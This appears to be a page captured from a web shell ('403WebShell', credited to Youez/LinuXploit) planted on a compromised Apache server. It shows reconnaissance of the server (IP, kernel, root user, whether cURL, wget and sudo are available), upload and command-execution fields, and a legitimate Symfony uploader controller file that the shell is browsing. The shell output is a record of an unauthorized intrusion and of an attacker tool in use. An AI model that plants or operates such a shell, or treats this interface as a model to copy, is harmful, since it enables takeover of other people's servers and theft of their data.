WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.216.62
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/vendor/oneup/uploader-bundle/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/vendor/oneup/uploader-bundle/Controller/MooUploadController.php
<?php

namespace Oneup\UploaderBundle\Controller;

use Oneup\UploaderBundle\Uploader\Response\MooUploadResponse;
use Symfony\Component\HttpFoundation\File\Exception\UploadException;
use Symfony\Component\HttpFoundation\File\UploadedFile;
use Symfony\Component\HttpFoundation\Request;

class MooUploadController extends AbstractChunkedController
{
    protected $response;

    public function upload()
    {
        $request = $this->getRequest();
        $response = new MooUploadResponse();
        $headers = $request->headers;

        [$file, $uploadFileName] = $this->getUploadedFile($request);

        // we have to get access to this object in another method
        $this->response = $response;

        // check if uploaded by chunks
        $chunked = $headers->get('content-length') < $headers->get('x-file-size');

        try {
            // fill response object
            $response = $this->response;

            $response->setId($headers->get('x-file-id'));
            $response->setSize($headers->get('content-length'));
            $response->setName($headers->get('x-file-name'));
            $response->setUploadedName($uploadFileName);

            $chunked ?
                $this->handleChunkedUpload($file, $response, $request) :
                $this->handleUpload($file, $response, $request)
            ;
        } catch (UploadException $e) {
            $response = $this->response;

            $response->setFinish(true);
            $response->setError(-1);

            $this->errorHandler->addException($response, $e);

            // return nothing
            return $this->createSupportedJsonResponse($response->assemble());
        }

        return $this->createSupportedJsonResponse($response->assemble());
    }

    protected function parseChunkedRequest(Request $request)
    {
        $chunkManager = $this->container->get('oneup_uploader.chunk_manager');
        $headers = $request->headers;
        $parameters = array_keys($request->query->all());

        $uuid = $headers->get('x-file-id');
        $index = $this->createIndex($parameters[0]);
        $orig = $headers->get('x-file-name');
        $size = 0;

        try {
            // loop through every file that has been uploaded before
            foreach ($chunkManager->getChunks($uuid) as $file) {
                $size += $file->getSize();
            }
        } catch (\InvalidArgumentException $e) {
            // do nothing: this exception will be thrown
            // if the directory does not yet exist. this
            // means we don't have a chunk and the actual
            // size is 0
        }

        $last = (int) $headers->get('x-file-size') === ($size + (int) $headers->get('content-length'));

        // store also to response object
        $this->response->setFinish($last);

        return [$last, $uuid, $index, $orig];
    }

    protected function createIndex($id)
    {
        $ints = 0;

        // loop through every char and convert it to an integer
        // we need this for sorting
        foreach (str_split($id) as $char) {
            $ints += ord($char);
        }

        return $ints;
    }

    protected function getUploadedFile(Request $request)
    {
        $headers = $request->headers;

        // create temporary file in systems temp dir
        $tempFile = tempnam(sys_get_temp_dir(), 'uploader');
        $contents = file_get_contents('php://input');

        // put data from php://input to temp file
        file_put_contents($tempFile, $contents);

        $uploadFileName = sprintf('%s_%s', $headers->get('x-file-id'), $headers->get('x-file-name'));

        // create an uploaded file to upload
        $file = new UploadedFile($tempFile, $uploadFileName, null, null, null, true);

        return [$file, $uploadFileName];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit